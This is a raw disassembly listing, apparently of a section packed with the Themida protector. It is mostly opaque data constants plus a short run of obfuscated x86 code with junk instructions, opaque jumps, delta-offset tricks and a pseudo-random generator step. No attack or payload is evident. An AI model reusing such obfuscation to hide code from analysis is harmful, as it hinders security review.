dd 9782CE56h, 0ABB135BFh, 9BFCBC56h, 41D0BE09h, 7AB074DCh
dd 0BAB12BD9h, 5DA5DB56h, 0EC8A3256h, 0BE73D8D4h, 0EEAF1C48h
dd 4157CFECh, 2D085C7Dh, 89D1DA30h, 0DBD1CB36h, 0DD195337h
dd 0AE6AB759h, 58583256h, 28B13256h, 46F12D8Ch, 3BE72A75h
dd 311DB2B7h, 7CB2979Eh, 45373DAEh, 47B13256h, 57B13245h
dd 20EF453Ch, 9C0A7FABh, 4DFC23D1h, 0CCF2357Fh, 391B9354h
dd 0E6493096h, 0AEB13257h, 586A39AEh, 0ABB179D2h, 50BE5256h
dd 0EAB13254h, 0BC306807h, 911365DEh, 152BB837h, 47B6DB85h
dd 57B1325Bh, 0A3E2ECE7h, 0ADCC0476h, 6A1A5A51h, 7452B240h
dd 0BAB13ABFh, 0E4D5456h, 0A5B10DD0h, 5C5852C8h, 56B13256h
dd 5C8F6B5Ch, 41C3AD73h, 144826B4h, 0DAD1F155h, 425AB330h
dd 0CFD05232h, 5FF6BB37h, 0ABB13CBFh, 0B9EE5C56h, 0DDEC3164h
dd 4C124694h, 332B9627h, 0B4483E11h, 0AEB132C0h, 57A6B859h
dd 0B9583256h, 45B13256h, 96EF1C08h, 0F78075EEh, 0DF749361h
dd 9B5FE23Ah, 0CE69C5A2h, 57B13CBFh, 70273F56h, 0DFC89162h
dd 0D6C8AFEBh, 1474310Ch, 0BAB1CD73h, 5DA1DB56h, 0F99A3256h
dd 0DAC81ED2h, 0D8BBBDC1h, 0A3A80FF6h, 2C9A874Ah, 75A0B859h
dd 0B6583256h, 0C4B13256h, 0FEBA702Ch, 0D879EC92h, 5C4E1D43h
dd 0D43B3D8Eh, 1FB13256h, 80B3F2D5h, 53B975DFh, 5DB13246h
dd 0B9FEDBA3h, 0E9EDDB46h
dd 0B786A533h, 0B57F55F2h, 0E5BD75DFh, 75B133D8h, 0DA49CE56h
dd 0E953FFD6h, 0A1D0534Ch, 57B133DFh, 5378CB56h, 2DE4CE95h
dd 0E158DEDDh, 0BAB13256h, 35E4A6CEh, 25645E8Eh, 0BA582A79h
dd 0B8B13256h, 32643D49h, 0B424045Eh, 497D5A84h, 15F53687h
dd 3951C02Bh, 0DEBECE92h, 0AEB13246h, 57B139BFh, 69C73556h
dd 0FFF95E2Bh, 0ADC371FCh, 0FED75236h, 0F46B39Dh, 3CC4CA28h
dd 0AEB132BEh, 0BD306856h, 0AC5BD538h, 0D5B0B759h, 13483256h
dd 72313DAFh, 0DAB13256h, 0E2BE77E1h, 143A53ACh, 505B9E5Ch
dd 0A47801AFh, 0D5B13CDEh, 8BD15256h, 75B137BFh, 154E4756h
dd 0DED0E820h, 2ABE3269h, 57B13666h, 0CA5DB836h, 3CD135DDh
dd 0EAB1325Ah, 41352D68h, 613691CCh, 9365F081h, 0CF4F8D59h
dd 58BD47A9h, 0ABB121D5h, 0D5BFDB56h, 95333256h, 2A9F7313h
dd 0DB69F87Ah, 0C3C61829h, 0CEB947A9h, 57B7B959h, 23BE3256h
dd 0D5B13256h, 8B46B930h, 1659C706h, 53B1325Eh, 5DB13250h
dd 6D5CC40Ch, 97BA1E9Ah, 0ABBBB759h, 5E493256h, 0CD58CA51h
dd 8DB13256h, 42A5F5D5h, 0A24E4CBFh, 2BBE52A9h, 57B13258h
dd 0ABB13BBFh, 0D1904456h, 0FEB593C2h, 7AD04781h, 0BAB133DFh
dd 1838CE56h, 254452AAh, 224E53AEh, 0A53F3D5Ah, 0B5B13256h
dd 77DC5D7h, 0FEBE3949h, 0BAB13256h, 55C4CD37h, 0AEB137BFh
dd 4C5F6D56h, 9C4E6380h, 0D25DDAA3h, 0E6583256h, 4AB13256h
dd 0AC734BFDh, 7F61022Ah, 0A57B9C53h, 77353D96h, 53B13256h
dd 0D5B275BFh, 0FE58CE56h, 92B13256h, 0D7176F96h, 1B3B29D4h
dd 0A826CC6Fh, 0A1FF2013h, 20BC552Fh, 5DBECE13h, 0EAB13257h
dd 7AB60BA3h, 0BAB229D4h, 4E585256h, 0F0B13256h, 215F32EAh
dd 0E421B65Dh, 0A7D4D902h, 55714B9Fh, 0BE30EA7Eh, 0CB7E46CFh
dd 0A1F4CD37h, 0AEB123BFh, 0B7B2F556h, 7CE1A683h, 0F805CE37h
dd 0E2CC3429h, 0A32C66Ch, 3EBE3252h, 5DB1324Fh, 0A2CEB1AEh
dd 59353D56h, 57B13256h, 0D5B16ABFh, 53D75256h, 9E016E73h
dd 454E8A37h, 4C58CDA9h, 1CB13256h, 8870047h, 0DB059332h
dd 12BE1395h, 914036BAh, 75B13CBFh, 9F4EF956h, 612441A3h
dd 6F12CE80h, 0EE89B87Bh, 0ABB13253h, 0D5B134BFh, 8346E656h
dd 86AE82F9h, 0BAB4DBFDh, 8F7E3256h, 47D18880h, 0A84ECC88h
dd 0BBCEB1AFh, 0B5353D53h, 0E5B13256h, 75B133D5h, 0C532CE56h
dd 0D8BE3446h, 0AEB13228h, 727CB236h, 0ABB121BFh, 0F21E6456h
dd 0CB9298DCh, 945423B9h, 4A2C589Ah, 81E4D9F2h, 254D7337h
dd 0D7D13611h, 4D305D8Dh, 0E847BCAFh, 0E6EEB937h, 75B0B159h
dd 53443256h, 5DB133CCh, 0AEB13CBFh, 0F4867656h, 53C27084h
dd 1BDEDDC9h, 6119294Eh, 0FE443611h, 0DCD13E09h, 0D6D7E4DDh
dd 0DE5853A8h, 0BEB13257h, 0ABB13251h, 0FF75EEF3h, 3B94C18h
dd 75B1325Ch, 0AF31F2C2h, 6A63E42Ch, 0E93A4827h, 83ACE52h
dd 0AA3D3D5Ah, 2CB13256h, 0E5B96D6Dh, 75B18BD3h, 3FBEC756h
dd 5DB13257h, 2DBE60AFh, 57B1325Ah, 0ABB7BB59h, 52BE3256h
dd 0EAB13256h, 89B565DDh, 4FA1677Dh, 0B4A56755h, 0AEB1325Fh
dd 3ACF1F9Bh, 4230AD9Ch, 55BE5245h, 0EAB13253h, 1276B330h
dd 0BABBDB8Fh, 40EE3256h, 38CAD9D4h, 9471FFDFh, 0A7EEB937h
dd 0D5BDDB36h, 45BD3256h, 0B6C06C6Bh, 790171E6h, 5058F0B7h
dd 0A2B13256h, 7FD5BA18h, 4D746A51h, 0BAC080FAh, 136B1937h
dd 0C8568D36h, 39D06634h, 74937BDh, 0AE3EDBAEh, 0DDBE3256h
dd 0ABB13258h, 0D5B13BBFh, 3107CB56h, 0D4BF4E42h, 0A958B368h
dd 74B13256h, 41A1BF3Eh, 7870A7C0h, 0ED4484BDh, 0F9AC2B04h
dd 0AD3ACC56h, 0CFD75252h, 5D3BF177h, 51EEB937h, 0AEB0BB59h
dd 7C493256h, 28483609h, 0C45837BDh, 51B13256h, 0D6D026D8h
dd 51B1ED02h, 0A0632617h, 0D6958258h, 9831CB36h, 21B253A5h
dd 0D25502E3h, 0EAB13CBFh, 0A2E67656h, 0C8E68B88h, 0BCC3FF85h
dd 0A1E48D35h, 57B13ED3h, 0AD3D3D56h, 0DAB13256h, 0EAB132D2h
dd 65CEB156h, 0A2343D55h, 3DB13256h, 0AC383DAFh, 0DCB13256h
dd 52F05380h, 0D5B134BFh, 0D5A10F56h, 5E37857Ch, 0E638C78Fh
dd 0E5493357h, 514ECDA9h, 8E0E3D36h, 0ABB3BE59h, 8EE23256h
dd 0EAB48B37h, 0FFBE3256h, 0BAB1324Fh, 5DA2B259h, 0A0583256h
dd 0C6B13256h, 594ADBAFh, 66BA91E8h, 5DDF89Eh, 151AC1A4h
dd 0BAA2DAAFh, 0B65C3256h, 0A889852Ah, 7ACA8A86h, 0C62498BAh
dd 48BD3FB9h, 0B2E860A4h, 893DDB37h, 0B5D1CDA9h, 5DB126DEh
dd 0AEBEDB56h, 9D113256h, 0DA2E48A2h, 0EFD1804h, 0F4CA01ECh
dd 145782DEh, 0BABBDB37h, 0E3623256h, 84D83AC4h, 0FA815D67h
dd 0ABBFDB9Fh, 0C4B33256h, 2F70B9F4h, 8C4C6D13h, 7545Bh
dd 52B12294h, 0AEB133DBh, 0ABE4CE56h, 0FCD1DEDDh, 0D5B137BFh
dd 365FB456h, 7AEE5711h, 0BAB134DDh, 5D353D56h, 0CFB13256h
dd 57B13FBFh, 6EC31B56h, 0DF2B97DEh, 9DAAA7C6h, 0B132857Fh
dd 0B5D152AAh, 0DEBEF3E9h, 0AEB13256h, 37D0CB37h, 0BE3C3DAEh
dd 0DAB13256h, 0EAB13DD8h, 75BBDB56h, 66DB3256h, 0F4718175h
dd 0A9B39D9Dh, 57B132BEh, 41306856h, 0D25BDE24h, 503ACEAEh
dd 725B9E5Ch, 0BABDB759h, 5A583256h, 6B13256h, 0A745EA51h
dd 62825AE3h, 0D58EB1AAh, 0E93EB659h, 7B583256h, 0AEB13256h
dd 0FD4F6A6Ch, 3FB53E88h, 0A8A14F08h, 42B6B9C6h, 0D5B1325Bh
dd 0C9D0A612h, 4115E9F0h, 0D767ED2Ch, 51C4CDA4h, 3347B336h
dd 58E8B211h, 0A4D0F2E9h, 0D5B126D2h, 0EABEDB56h, 31A73256h
dd 0FBDDD64Ch, 0F80E41C1h, 8CF4E4B1h, 5FC4CDBEh, 0ABB138BFh
dd 0BB8BA856h, 496EDF0Ch, 25D7CF6Ch, 0BAB126BFh, 0C7B0D256h
dd 0C691C838h, 5A5D4C1Ch, 8DF9EA6Dh, 0A28EA1AAh, 0E9F9DACBh
dd 7E493256h, 0A1343D96h, 0A5B13256h, 0AB5835DDh, 89B13256h
dd 4E80B2EAh, 0D5B110BFh, 213A5256h, 22F715E8h, 7D32536Dh
dd 0B4D05242h, 514ECD1Fh, 57B8B059h, 0CDD13256h, 0DA6AEFECh
dd 63D0CDE1h, 0F4BECE13h, 0BAB13257h, 51C4CDAFh, 0A6C4CDA3h
dd 57B13BBFh, 47294556h, 0FD52F431h, 0DD4E954Ah, 75B120BFh
dd 0B0D14956h, 6AD42C18h, 55F79E0Ch, 0A7C3D007h, 435A7AD5h
dd 0D5B13098h, 0E57139AFh, 75B125D2h, 0BD383D56h, 3DB13256h
dd 11BEFADDh, 2D585385h, 0CBB13254h, 0B440B8AAh, 1F4D77DDh
dd 0F7BE356Fh, 0BAB1303Fh, 5DBDB259h, 25BE3256h, 57B13250h
dd 0ABB1B859h, 904E3256h, 9532C7AAh, 0F1BE3252h, 0BAB1327Ch
dd 51CEB1AAh, 0B1353D56h, 58B13256h, 0ABB133DBh, 0B758CA56h
dd 8AB13256h, 0FB33FAE9h, 0BAB6DB64h, 0B14B3256h, 0D04D919Fh
dd 0A80953F8h, 0A44ECDA9h, 0D5B133D6h, 0EF08CE56h, 7AB13256h
dd 0BAB126DDh, 0D6D75256h, 0AEB8DA9Eh, 7B443256h, 756B9CEh
dd 8E546DEBh, 8A1AC137h, 0F468B930h, 4E9A34B9h, 47585301h
dd 0A14ECDA9h, 57B13ED1h, 0AD3C3D56h, 0DAB13256h, 0EAB132DFh
dd 65CEB156h, 0C5353D53h, 0B4B13256h, 0AEB13245h, 6DA81B87h
dd 5C587F3Dh, 4877CB32h, 0D039E622h, 15EC6922h, 0B54A8559h
dd 5DB132D3h, 0D1325356h, 0D2BE3446h, 0ABB13229h, 0D5B138BFh
dd 0C9FB0556h, 0E40DB7D7h, 0B561D790h, 5DB13DD0h, 0AEBBDB56h
dd 3AA73256h, 4A358864h, 0F0E90EBh, 0AD3ACB17h, 75BBDB52h
dd 0DD303256h, 0CB5D8B13h, 9569E692h, 58BD6DDDh, 0ABB133D3h
dd 358CB56h, 8AB13256h, 25888B30h, 7A063D36h, 1A3A5337h
dd 0F13ACB52h, 57A0DB5Ah
dd 165A3256h, 0F54AF5A2h, 4DA89E35h, 0F036CFA3h, 53277D34h
dd 5DB132C3h, 0AEB134BFh, 9E8CE256h, 2085CBC4h, 5E493611h
dd 13D13E09h, 75B2B059h, 31D73256h, 29A53A1h, 4532CB52h
dd 0B7305253h, 0FDE3AB42h, 0D5B122BEh, 0FCB6B456h, 0C2143D39h
dd 0B5666CBDh, 0B1F1C04Bh, 0AEBEDBB9h, 5943256h, 9C399520h
dd 72D88DD1h, 0AE122353h, 0F6D06887h, 0B5B22229h, 5DB106D3h
dd 47D15256h, 57B13242h, 72E0124Fh, 0EA3CA3F3h, 3847BBD7h
dd 0E0F98F41h, 0FF699C55h, 0D4BE53AAh, 0AEB13255h, 364E8559h
dd 64305217h, 0DC51BC10h, 3A58C30h, 9C681937h, 0BAB1325Bh
dd 8B29833Ch, 7BE70676h, 0F75CA77Ch, 0AAEDBBA1h, 57BE5257h
dd 0EAB13241h, 75B123BEh, 801D1C56h, 26C3FDD6h, 9C879D69h
dd 8B6B9C83h, 0A4EE12A5h, 0D5B130DFh, 8B40B956h, 8A4ECDEEh
dd 0BF08CEA9h, 0B4B13256h, 0AEB1325Dh, 0CF216581h, 0D9A6A339h
dd 3C0567C5h, 0EAB13246h, 23EC828Bh, 744EFCDAh, 0F2928A3Eh
dd 5A9CA15Ch, 0BE4D99A5h, 544ECF07h, 0D5B126BFh, 3190A556h
dd 0ACD018EFh, 60ABA8C3h, 9E563A76h, 0BED6C58h, 9E4953B0h
dd 8C65B236h, 4CF565EEh, 0E2735367h, 60323D56h, 53B13256h
dd 5DB13246h, 73888505h, 48F995E0h, 0EA37BF78h, 0C763E1BFh
dd 0EAB9B059h, 0FDBE3256h, 0BAB13254h, 3DE45336h, 0B850B330h
dd 367BB9F4h, 2844DEDDh, 0D258CE92h, 0B7B13256h, 8C16EFE6h
dd 32BE0C61h, 5DB13242h, 0AEB13DBFh, 75AD356h, 0F8224232h
dd 2569E1B9h, 0EAC169FFh, 7D303D36h, 0B5B13256h, 5DB130D5h
dd 0A1D05256h, 57B122DDh, 0ABBADB56h, 234F3256h, 9BAE23FFh
dd 0C1BE2A84h, 0B2F4B9A0h, 51F409AAh, 0AEFDB059h, 5F583256h
dd 0EBB13256h, 54F2FD61h, 0D1687BF3h, 0F2BE2213h, 0BAB13260h
dd 26068836h, 25D765BBh, 1276538Ch, 0ABB132AAh, 0D2333D56h
dd 0E5B13256h, 75B133DBh, 9B58CB56h, 3DB13256h, 0AEB7B859h
dd 0A0303256h, 0AC2C1CEFh, 0D05E90EFh, 0AF765367h, 75B133AAh
dd 0BB58CE56h, 0A8B13256h, 0A6303D37h, 58B13256h, 0ABB130DEh
dd 5ED05256h, 61BECE13h, 75B1325Ch, 0B5EB6536h, 5DB132D6h
dd 47785356h, 57B13258h, 3E8587B2h, 12A8BE81h, 116A09D0h
dd 79733382h, 0B5E4CB56h, 5DB133DFh, 423ACB56h, 57B123BFh
dd 365D1C56h, 3CCE0444h, 0FB4D5E67h, 3ED66582h, 39487ABAh
dd 5758CE92h, 0C2B13256h, 0FF551416h, 4ED04C8Fh, 5BBE5227h
dd 0EAB13251h, 75B0B059h, 52443256h, 5DB13256h, 75BB30Ch
dd 0ABB6D8A7h, 0AE3B3D36h, 6CB13256h, 0AE5AF36Ch, 1426DCD6h
dd 0BABDDA36h, 15DA3256h, 0B1152635h, 0ED6454FCh, 14D77C3Bh
dd 54EBB81Ch, 0F02C491h, 0BC825350h, 423A5436h, 55338930h
dd 476A0137h, 57B1325Fh, 0BCE8C7BDh, 62E7843Ch, 16ECBBB4h
dd 75B0BA59h, 31483256h, 0B71D38ECh, 0AEBBDB51h, 2DED3256h
dd 0CA2DBB61h, 6E1AA3CDh, 0E5B10DD5h, 75B352D2h, 8532CE56h
dd 8343DA9h, 47B13256h, 57B1325Bh, 171BEFD3h, 0A670437Ah
dd 776B9BF7h, 6176B1F6h, 0BAB122BFh, 3FCB8B56h, 0B606EE68h
dd 414298ACh, 22AFB835h, 0DD313D93h, 0E5B13256h, 75B130DBh
dd 53D05256h, 0A24ECDE6h, 0AEB121BFh, 86047956h, 0DC824410h
dd 0C69E067h, 0DCD21098h, 7809A018h, 0BAB54DD5h, 5D85B659h
dd 0A2583256h, 84B13256h, 9D76BB96h, 0B06CFC4Ch, 69D97762h
dd 7AB13E29h, 0BAB12BD2h, 6458C756h, 47B13256h, 57B13258h
dd 6275A37Ch, 0D120D83Dh, 0AD7EC9D2h, 304EA7A8h, 3FBECAAAh
dd 5DB13253h, 5B40B836h, 4376B137h, 0ABB0BD59h, 3C483256h
dd 154ECD6Ah, 74303DAEh, 43B13256h, 58A14DD5h, 0AE3FB659h
dd 52583256h, 0CDB13256h, 0D4CD8F75h, 0ECA14DD5h, 7510B759h
dd 3BD13256h, 7C3234A7h, 47D0CB49h, 57B13245h, 0D335447h
dd 396D7FD2h, 1F96329Dh, 8E5B472Bh, 0FB14CB73h, 5DB123BFh
dd 5A5BF656h, 3037F90Ch, 1E638E26h, 3A56A684h, 0AD3A6C11h
dd 74343D52h, 43B13256h, 52BD6DDDh, 0AEB133DEh, 8658CE56h
dd 0CBB13256h, 1D305436h, 61D78014h, 65595399h, 0EFB13256h
dd 0B177246Ah, 81E406A3h, 0F3B8B3E9h, 0CB345964h, 0B5D06D37h
dd 8B4B8D59h, 7AB575DDh, 0BAB138D1h, 0DDBE5256h, 0AEB13256h
dd 37D05336h, 0A7EEB937h, 0D5B0B159h, 3483256h, 75B13201h
dd 31D0CE36h, 0DCBE3611h, 0AEB13258h, 57323D36h, 0A4B13256h
dd 0D5B132DBh, 0B53A5356h, 75B6DB5Ah, 0F0333256h, 0DF598DD6h
dd 0F19AC75Eh, 0DBBEC752h, 0ABB13257h, 0D05AB1AFh, 0EAB0B659h
dd 0F6483256h, 0B5B22229h, 5DB13CD3h, 0C8D1CB56h, 16D0EBDDh
dd 14AC8836h, 0FED038B6h, 0E2343D8Fh, 7AB13256h, 0BAB130DEh
dd 52D05256h, 0AEB125D9h, 57A3DB56h, 3D7D3256h, 5F496AB2h
dd 0FDEA3453h, 593BEBDAh, 0A64AD191h, 5CB06EDFh, 0AEB8B759h
dd 0DDD13256h, 0FE658BB3h, 20D06EDCh, 154ECDEEh, 72393DA9h
dd 0DAB13256h, 3D2BD7D6h, 0AB085337h, 58B13256h, 0ABB139D4h
dd 0D5B7DB56h, 0F9A3256h, 0F3591135h, 30BE99A5h, 5DB13258h
dd 0AE3B3D36h, 58B13256h, 0ABB132DBh, 48585356h, 8A4ECDABh
dd 2E7AB905h, 32BE5337h, 5DB13251h, 0C8D05236h, 0DCD0F3DDh
dd 6244CE13h, 0D5B134BFh, 0FBA75356h, 0B62C47B8h, 0BAB8DBAEh
dd 557A3256h, 9C66B97Eh, 77DBF9Ah, 0ABB4DB36h, 37493256h
dd 8BEF1E05h, 75BEDB07h, 87A53256h, 0A16637B3h, 36533504h
dd 4796C727h, 2FBE614Fh, 0D5B1324Ah, 0EAA7B559h, 64583256h
dd 24B13256h, 49F4CA7Fh, 443F0B60h, 0A91A3C70h, 866CB447h
dd 0D5B1DAAFh, 6BEB3256h, 9F45C9BCh, 0BAA5DB51h, 45603256h
dd 98FCD492h, 7270D9D6h, 80926611h, 0B4C1D0F9h, 6ABE6E71h
dd 75B13251h, 3AEB6236h, 52D0CBB0h, 0AEB137D4h, 0DD495256h
dd 26BE53B9h, 0D5B13251h, 213A5436h, 0F8D0B4E1h, 501C27CCh
dd 0AE315251h, 5C305422h, 0EFD0561Eh, 0ABB13232h, 825AB236h
dd 0EAB121BEh, 98FB056h, 0FB5B89CEh, 7E55233h, 3401B67Dh
dd 0F3319B61h, 0F360B930h, 0D5BADB37h, 14883256h, 67F434C1h
dd 0DDC8C418h, 5882DA5Bh, 254D3256h, 968ACB5Dh, 0AB22DBAFh
dd 0D8583256h, 32B13256h, 8033BDC9h, 0DB961E3Ch, 175985FAh
dd 47B57955h, 57B13250h, 8695F113h, 148A46F9h, 0EA06B059h
dd 79583256h, 0CFB13256h, 0F00A53EAh, 0AFFAB848h, 585FB885h
dd 0ABB136D3h, 8BE15256h, 0FAFA3137h, 75B8B159h, 0B5D13256h
dd 5DB132DBh, 95D0C756h, 45333D97h, 0CBB13256h, 7B57CBEEh
dd 0B878B7Eh, 9CD02EF4h, 0BAB13251h, 5D11DBAEh, 474D3256h
dd 57B132CCh, 0ABB126BFh, 860B4956h, 0FF91CF72h, 0C38A8CCh
dd 2384B756h, 83D886FEh, 0DB2BBF4Dh, 0ABB6D934h, 0ABB0B959h
dd 2A4D3256h, 0EABCDB85h, 0DD4E3256h, 0EA5AD33Ch, 0E224232h
dd 4769E1B9h, 57B1320Ch, 0E85BB336h, 0B3D1FB39h, 52DCDAD7h
dd 673E3D37h, 0DAB13256h, 5DB13BBFh, 0CBDEFE56h, 45F3518h
dd 0CAD1EACEh, 4E2BBF37h, 3B6D933h, 75B1325Ah, 1C1EDD09h
dd 83C45F9h, 1616D498h, 57B138BFh, 83687856h, 0D5FECEF4h
dd 157B69ADh, 72373D85h, 0DAB13256h, 0D6D75336h, 56EA539Dh
dd 37E9CA0Fh, 0CBD0FCDDh, 0D5B13ABEh, 0B76C8456h, 3D75B837h
dd 830B5444h, 0B5E26DD9h, 0AEB13245h, 559127h, 0E4A920A1h
dd 979AAA9Ah, 3ED5D6C4h, 2E428F6Eh, 4672530Fh, 0E2085203h
dd 2F826612h, 0FB75FD95h
dd 473A5310h, 0D5BAB959h, 0EC583256h, 0CCB13256h, 0BF71CD96h
dd 4B383DD2h, 0A1B13256h, 57B122D0h, 0ABBADB56h, 9ADB3256h
dd 7154058h, 56355E2Fh, 0BAB1DACDh, 0DCEB3256h, 444615BCh
dd 5D58CA51h, 74B13256h, 2E592C0Dh, 600744F5h, 7F5852C5h
dd 0B7B13256h, 0B21DCB8Ch, 0EFF750E4h, 420BBFFFh, 0A4B6D8FBh
dd 0D5B120D3h, 52D75256h, 73590ED9h, 0BAB13256h, 560677FBh
dd 57D06B61h, 58B977DDh, 0ABB13FDCh, 0A20F5256h, 0E585F332h
dd 75B132D4h, 0BD385356h, 5DB138BFh, 0B97C2456h, 82D0BCE8h
dd 2022D7CDh, 53BE3E13h, 0EAB1324Fh, 75B126BFh, 0ED307756h
dd 3AE5195Ch, 0A3A787A8h, 351CE9Bh, 9480688Ch, 57BE5213h
dd 0EAB13254h, 0B43BEDDDh, 0BEF6BB37h, 5DB13EBFh, 3C0C2356h
dd 0A9261413h, 356DE533h, 0C5F4B92Fh, 0E6F6BBAEh, 61F4B9AAh
dd 0BABFB559h, 54583256h, 5FB13256h, 0FC3233CDh, 0F8FBF5CBh
dd 0B5A175DFh, 3D6BB3AAh, 14C2B22Ch, 0AF383D37h, 0B4B13256h
dd 0AEB13246h, 93EF3458h, 47DB078Ah, 6624CA0Fh, 0C0EECE44h
dd 7D3C3D9Fh, 0B5B13256h, 5DB130D2h, 6CD05256h, 0DABE3246h
dd 0ABB13257h, 58BE52A3h, 0EAB1325Eh, 75B3BA59h, 0DBD13256h
dd 719CB790h, 0CEF635B2h, 6170E3D7h, 0A7587D1Fh, 5DB13256h
dd 0AA65DE21h, 3504EAA8h, 0DB0A8D9Fh, 4AC2283Eh, 25D752FEh
dd 57BDDBAEh, 0A7863256h, 0A99F7E79h, 0EEEFF43Eh, 8AD0705Dh
dd 5E9073E3h, 5DBADB51h, 3C063256h, 0FE409051h, 0CC09AEDCh
dd 7234BF54h, 0E5B6D5E6h, 75B133D2h, 6A4ECB56h, 5DB9B059h
dd 21BE3256h, 57B13254h, 0A4E35336h, 0D5B133D0h, 603CCE56h
dd 725B9CD3h, 5D752AFh, 0CD06743h, 0AEB122BFh, 4F956256h
dd 52EA92F7h, 0F7ECA95h, 7185A195h, 9C61CD2Ch, 0BAB1325Ah
dd 55ADC9B5h, 0F5AACB95h, 0D56D897Ch, 4930520Ch, 8717F9D4h
dd 6F33BF37h, 9CB6D8F8h, 0BAB13246h, 98F153A5h, 5304AD88h
dd 9F775891h, 0C6198A51h, 0D9F18559h, 0EAB13ABFh, 948DBC56h
dd 0A425D953h, 5269B945h, 0AEB133D8h, 0A2E3CA56h, 0BB580359h
dd 58B13256h, 0BB6897C7h, 6E7B33E6h, 0E29DD24h, 71D3BCFh
dd 68063D36h, 57B138BFh, 901F9656h, 8BAFAB35h, 8B20DFBAh
dd 0FBBEF155h, 0BAB1325Eh, 5DB3B459h, 0CFD13256h, 7200B0DFh
dd 0CA4935B2h, 0D5BCB059h, 0E2583256h, 0C7B13256h, 249062B8h
dd 9E522C72h, 0A9383DAEh, 58B13256h, 0B133DFh, 0E951F900h
dd 11h, 870E0A20h, 1830D41Ch, 8213DFDDh, 4D264B51h, 8E0F52F6h
dd 0Ch, 68D0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
call $+5
pop edx
sub edx, 7EAF9C6h
pusha
jmp loc_5F1E64
; ---------------------------------------------------------------------------
dw 0F92Ah
dd 9133D8DCh
; ---------------------------------------------------------------------------
loc_5F1E64: ; CODE XREF: Themida_:005F1E59j
mov cx, dx
popa
jmp loc_5F1E73
; ---------------------------------------------------------------------------
push ebx
add eax, 9DD38275h
loc_5F1E73: ; CODE XREF: Themida_:005F1E68j
pusha
adc si, 0F7B7h
popa
cld
push edx
jz loc_5F1E8A
pusha
jnb $+6
popa
loc_5F1E8A: ; CODE XREF: Themida_:005F1E7Cj
cld
mov eax, [edx+7E425B1h]
jo loc_5F1EAC
jl loc_5F1EAC
jmp loc_5F1EAC
; ---------------------------------------------------------------------------
dw 6BFEh
dd 37D431A1h, 697B34B3h
; ---------------------------------------------------------------------------
loc_5F1EAC: ; CODE XREF: Themida_:005F1E91j
; Themida_:005F1E97j ...
mov ecx, 41C64E6Dh
clc
mul ecx
pusha
mov si, 0F2C1h
mov esi, edi
popa
pop edx
pusha
jmp loc_5F1ED6
; ---------------------------------------------------------------------------
align 4
dd 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h
db 0DFh, 72h
; ---------------------------------------------------------------------------
loc_5F1ED6: ; CODE XREF: Themida_:005F1EBEj
mov ax, 94BBh
popa
add eax, 3039h
jl loc_5F1EFC
jp loc_5F1EFC
jmp loc_5F1EFC
; ---------------------------------------------------------------------------
push esp
and [edx], al
inc edx
retn
; ---------------------------------------------------------------------------
dw 0E7Bh
dd 0D91067E6h
; ---------------------------------------------------------------------------
loc_5F1EFC: ; CODE XREF: Themida_:005F1EE0j
; Themida_:005F1EE6j ...
and eax, 7FFFFFFFh
jns loc_5F1F1F
jmp loc_5F1F1F
; ---------------------------------------------------------------------------
dd 2C925A45h, 2A23C56Fh, 8992B9B3h, 8D0948E1h
db 0A7h, 0E9h, 0C9h
; ---------------------------------------------------------------------------
loc_5F1F1F: ; CODE XREF: Themida_:005F1F01j
; Themida_:005F1F07j
mov [edx+7E425B1h], eax
jnb loc_5F1F2C
cmc
loc_5F1F2C: ; CODE XREF: Themida_:005F1F25j
pop edx
pusha
and ecx, 9F4F0C5h
mov bx, 6474h
popa
pop ecx
jb locret_5F1F47
jb locret_5F1F47
clc
locret_5F1F47: ; CODE XREF: Themida_:005F1F3Aj
; Themida_:005F1F40j
retn
; ---------------------------------------------------------------------------
cmc
loc_5F1F49: ; DATA XREF: Themida_:00585188o
push ecx
pusha
jbe loc_5F1F53
mov ch, 0A2h
loc_5F1F53: ; CODE XREF: Themida_:005F1F4Bj
popa
push edx
pusha
mov di, cx
cld
popa
call $+5
pop edx
sub edx, 7EAFAD5h
pusha
pusha
jz $+6
popa
and edi, 4AC09C0Dh
popa
ja loc_5F1F8D
jmp loc_5F1F8D
; ---------------------------------------------------------------------------
dw 0AC9Bh
dd 0D8CB2411h, 0DDF60AF8h
db 1Dh
; ---------------------------------------------------------------------------
loc_5F1F8D: ; CODE XREF: Themida_:005F1F77j
; Themida_:005F1F7Dj
mov ecx, eax
jmp loc_5F1FA8
; ---------------------------------------------------------------------------
pop ebp
dec ebx
sbb byte ptr [ecx-7Ah], 55h
mov [edx], eax
push ecx
retf
; ---------------------------------------------------------------------------
dw 0D977h
; ---------------------------------------------------------------------------
rol dword ptr [edx+5C2EEC91h], cl
aad 28h
loc_5F1FA8: ; CODE XREF: Themida_:005F1F8Fj
call near ptr dword_5F1B7C+2A6h
cld
jb loc_5F1FCB
jmp loc_5F1FCB
; ---------------------------------------------------------------------------
db 0D2h, 8Ch, 8Ah
dd 984E1C01h, 0A3FF59CDh, 0D3F4691Ah
db 0Fh, 39h, 45h
; ---------------------------------------------------------------------------
loc_5F1FCB: ; CODE XREF: Themida_:005F1FAEj
; Themida_:005F1FB4j
xor edx, edx
pusha
sbb bx, 0EBA8h
popa
div ecx
jnp loc_5F1FE3
jbe loc_5F1FE3
clc
loc_5F1FE3: ; CODE XREF: Themida_:005F1FD6j
; Themida_:005F1FDCj
mov eax, edx
cmc
pop edx
pusha
push eax
pusha
popa
pop ebx
movzx edi, bx
popa
pop ecx
clc
retn
; ---------------------------------------------------------------------------
db 60h
dd 880Fh, 8B610000h, 0C9B260C0h, 6E8h, 0E7B04700h, 0FC67BBBh
dd 81h, 0E9615A00h, 0Ah, 0D4F6B339h, 36B4CF52h, 0C08B2B99h
dd 0C860Fh, 820F0000h, 6, 810Fh, 858D0000h, 7EAC370h, 11850Fh
dd 0CE90000h, 58000000h, 9C601D85h, 58AE83AEh, 0FFBBD292h
dd 98C0FD0h, 60000000h, 66FAB70Fh, 61DB03BBh, 60C18B66h
dd 38D0Fh, 0BF0F0000h, 61FB8BCAh, 0F997858Dh, 8B0F07EAh
dd 4, 61FA8B60h, 279D8589h, 850F07E4h, 7, 0F616060h, 8D61DABFh
dd 0EAFABE85h, 0EE907h, 0AE230000h, 4CE839B8h, 0A1F4411h
dd 83ADDE63h, 2CFD8589h, 10E907E4h, 49000000h, 0F2588E37h
dd 3F090A4Dh, 1519DAADh, 0F886C289h, 0B8h, 800FFC00h, 1Ah
dd 14860Fh, 0FE90000h, 86000000h, 2A543040h, 664E82FEh
